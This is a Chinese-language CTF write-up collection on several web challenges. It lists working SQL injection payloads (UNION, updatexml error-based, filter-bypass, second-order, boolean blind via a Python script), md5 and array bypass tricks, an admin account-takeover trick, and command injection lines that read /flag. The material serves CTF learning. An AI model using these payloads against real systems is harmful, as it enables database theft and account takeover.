[极客大挑战 2019]LoveSQL
再username输入1’,发现是单引号注入,看又几列
1' union select 1,2,3#
1' union select 1,2,database()#
1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()#
看l0ve1ysq1表,1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1'#
1' union select 1,2,group_concat(password)from geek.l0ve1ysq1#
[极客大挑战 2019]HardSQL
用万能密码不行,fuzz发现空格的很多形式都被过滤了,但是可以用()来绕过空格
username=admin'or(updatexml(1,concat(0x7e,(select(database()))),1))%23&password=1
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like'geek')),1))%23&password=1
这里like也可以换成regexp
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like'geek')),1))%23&password=1
这里因为只有一个表,所以不改like也可以
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,password))from(geek.H4rDsq1))),1))%23&password=1
这里flag显示不全,那就用截取字符串的函数来看(可以用mid,substr,但是被过滤了,所以用left或者right)
username=admin'or(updatexml(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30)),1))%23&password=1
[BJDCTF2020]Easy MD5
这个题试了半天还是没有用,那就看一下其他地方有没有东西,bp抓包看,
Hint: select * from 'admin' where password=md5($pass,true)
当md5(,true)这样的时候,为true则为原始 16 字符二进制格式,而我们输入ffifdyop,经过函数处理后,变为’or’6…..,这样的,前面的’与之前的闭合,而or之后的’又与之后的闭合,最后变为’’or’6…’,就绕过了。
之后是一个md5的绕过,就用数组绕过就行
a[]=1&b[]=2
z最后这个也是用数组绕过就行。
[RCTF2015]EasySQL
进去是一个登录和注册,先注册一个,发现又修改密码,想到二次注入,主要是写语句和引用语句,在注册页面试一试,
发现在username输入空格之类的会出现这个,被过滤了,or也被过滤了
发现是双引号注入,
注册的username:1"||(updatexml(1,concat(0x7e,(select(database()))),1))#
然后登录。改密码直接提交,就可以看到了
1"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#
Flag表的flag是假的,1"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#
1"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))),1)#
这个应该是账号的第一个数据都是这样的,那么就要用正则去匹配,flag
1"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp'^f')),1)#
再用截取字符串的函数去看其他的就行,但是常用的一些截取函数都被过滤了,看wp发现说是reverse函数来搞,1"||updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp'^f'))),1)#
login1
提示意思就是它的admin用户,我们可以根据数据库插入和查询的不同特性来达到注册的不是admin用户,却可以更改admin的密码为我们设置的密码。
注册账号,admin之后加几个空格,密码随便,
登录的时候用户名用admin就行,密码用注册的密码
login2
意思也就是说要密码和md5之后的密码一样,这里就是要用到union的特性,会创建一个临时表,
Username=1’ union select 1,’ 202cb962ac59075b964b07152d234b70’#password=123
这里union后面两个是因为查询语句也是username和password两个。
之后出现这样一个页面,加之题目说是一个命令执行,试了下ls之类的,没有用,猜想是无回显的,ls|sleep 5,发现确实执行了,
输入127.0.0.1;ls / > 1.txt ,>号前面的命令执行结果就会输出到1.txt上,从而可以看到发现flag文件,那就看看
127.0.0.1;cat /flag > 1.txt
sql注入
题目提示,是bool型注入,那就是要写一个脚本来方便一点,再输入admin为用户名时,密码报错,说明就是这个用户名,
import requests
url = "http://114.67.175.224:11142/index.php"
database = ""
for i in range(1, 32):
for j in range(48, 128):
sql = "admi'or((ascii(substr((database())from({0})))<>{1}))#'".format(i, j)
data = {'username': sql, 'password': "123"}
res = requests.post(url, data=data)
if 'username does not exist!' in res.text:
database += chr(j)
print(database)
break
该语句看表admin,再看字段是password,那就可以直接看字段,因为没有其他字段,只有这一个,最后找到密码,是md5加密的,去网站解一下,